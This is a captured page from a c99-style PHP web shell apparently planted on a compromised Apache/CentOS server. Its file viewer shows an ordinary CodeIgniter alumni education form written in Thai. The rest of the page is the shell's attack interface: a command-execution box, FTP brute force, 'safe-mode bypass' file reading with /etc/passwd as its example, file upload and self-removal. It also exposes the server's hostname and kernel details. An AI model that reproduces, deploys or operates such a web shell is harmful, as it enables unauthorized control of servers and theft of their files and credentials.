!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/ealumni/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_alumniLearn.php (5.9 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%">
    <tr>
        <td>
            <label><div align="center">
            <table width="100%">
                <tr>
                    <td align="center" class="h">การเรียนต่อ</td>
                </tr> 
                <tr>
                    <td><?php echo form_open($this->config->item("ea_folder")."alumni/v_alumniLearn",array("name"=>"tab5","id"=>"tab5"));?>
                    <table class="easzone">
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ชื่อปริญญา </b></font></td>
                            <td colspan="3"><input type="text" name="heduName" id="heduName" size="70" value="<?php echo set_Value('heduName');?>" />
                            <font color="<?php echo $this->config->item('font_color_err');?>" size="2">*</font>
                            <?php echo form_error('heduName');?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ระดับ</b></font></td>
                            <td colspan="3">
                            <?php echo form_dropdown('leduId'$rs_ledu);?>
                            <font color="<?php echo $this->config->item('font_color_err');?>" size="2">*</font>
                            <?php echo form_error('leduId');?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>สถาบัน</b></font></td>                    
                            <td colspan="3">
                            <?php echo form_dropdown('eduId'$rs_edu);?>
                            <font color="<?php echo $this->config->item('font_color_err');?>" size="2">*</font>
                            <?php echo form_error('eduId');?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>สาขา</b></font></td>                    
                            <td colspan="3">
                            <?php echo form_dropdown('meduId'$rs_medu);?>
                            <font color="<?php echo $this->config->item('font_color_err');?>" size="2">*</font>
                            <?php echo form_error('meduId');?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>วันที่เริ่มต้นการศึกษา</b></font></td>                    
                            <td><script>DateInput('heduSDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script></td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>วันที่สำเร็จการศึกษา</b></font></td>
                            <td><script>DateInput('heduGDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td height="22" colspan="4" align="center">
                            <input type="submit" name="add" value="บันทึกข้อมูล" />
                            <input type="reset" name="clear" value="ลบข้อมูล" />
                            <input type="button" name="cancel" value="ยกเลิก" />
                            <input type="hidden" name="method" value="edit" />
                            <input type="hidden" name="alumniId" id="alumniId" value="<?php echo set_value('alumniId',$alumniId);?>">
                            <input type="hidden" name="status" value="<?php //echo $status;?>" />
                            <input type="hidden" name="tab" id="tab" value="<?php echo $tab;?>"/>
                            </td>
                        </tr>
                    </table><?php echo form_close();?><br /></td>
                </tr>
                <tr>
                    <td>
                        <table class="eaheadCol">
                            <tr>
                                <th><font size="2" color="<?php echo $this->config->item('font_color_table');?>"><b>ชื่อปริญญา</b></font></th>
                                <th><font color="<?php echo $this->config->item('font_color_table');?>" size="2"><b>ระดับ</b></font></th>
                                <th><font color="<?php echo $this->config->item('font_color_table');?>" size="2"><b>สถาบัน </b></font></th>
                                <th><font color="<?php echo $this->config->item('font_color_table');?>" size="2"><b>สาขา </b></font></th>
                                <th class="editCol"><font color="<?php echo $this->config->item('font_color_table');?>" size="2"><b>แก้ไข</b></font></th>
                                <th class="deleteCol"><font color="<?php echo $this->config->item('font_color_table');?>" size="2"><b>ลบ</b></font></th>
                            </tr>
<?php
                        $i 
0;
                        if(isset(
$rs_he) && $rs_he->num_rows()) {
                            foreach(
$rs_he->result() as $row_he) {
                                echo 
"<tr onmouseover=\"bgColor='".$this->config->item("tr_color_even")."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                                <td align="center"><font size="2"><?php echo $i+1;?></font></td>
                                <td class="indent"  align="left"><font size="2"><?php echo $row_he->leduName;?></font></td>
                                <td class="indent" align="left"><font size="2"><?php echo $row_he->eduName;?></font></td>
                                <td class="indent" align="left"><font size="2"><?php echo $row_he->meduName;?></font></td>
                                <td align="center"><img src="<?php echo base_url();?>images/<?php echo $this->config->item("rg_folder");?>picture/edit.gif" width="20" height="17" align="absmiddle" border="0"></td>
                                <td><img class="hand" src="<?php echo base_url()."images/".$this->config->item("rg_folder")."picture/delete.gif";?>" align="absmiddle" border="0" onClick="confirmDel2({seqId:<?php echo $row_he->seqId;?>}, 'hidform','<?php echo site_url($this->config->item('ea_folder').'alumni/learn_delete');?>')" /></td>
                            </tr>
<?php
                                $i
++;
                            }
                        } else {
?>
                            <tr>
                                <td colspan="5" height="22" align="center"><font size="2" color="<?php echo $this->config->item('font_color_err');?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                            </tr>
<?php
                        
}
?>
                        </table>
                    </td>
                </tr>
            </table></div></label>
        <br><font color="<?php echo $this->config->item('font_color_err');?>" size="2"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0102 ]--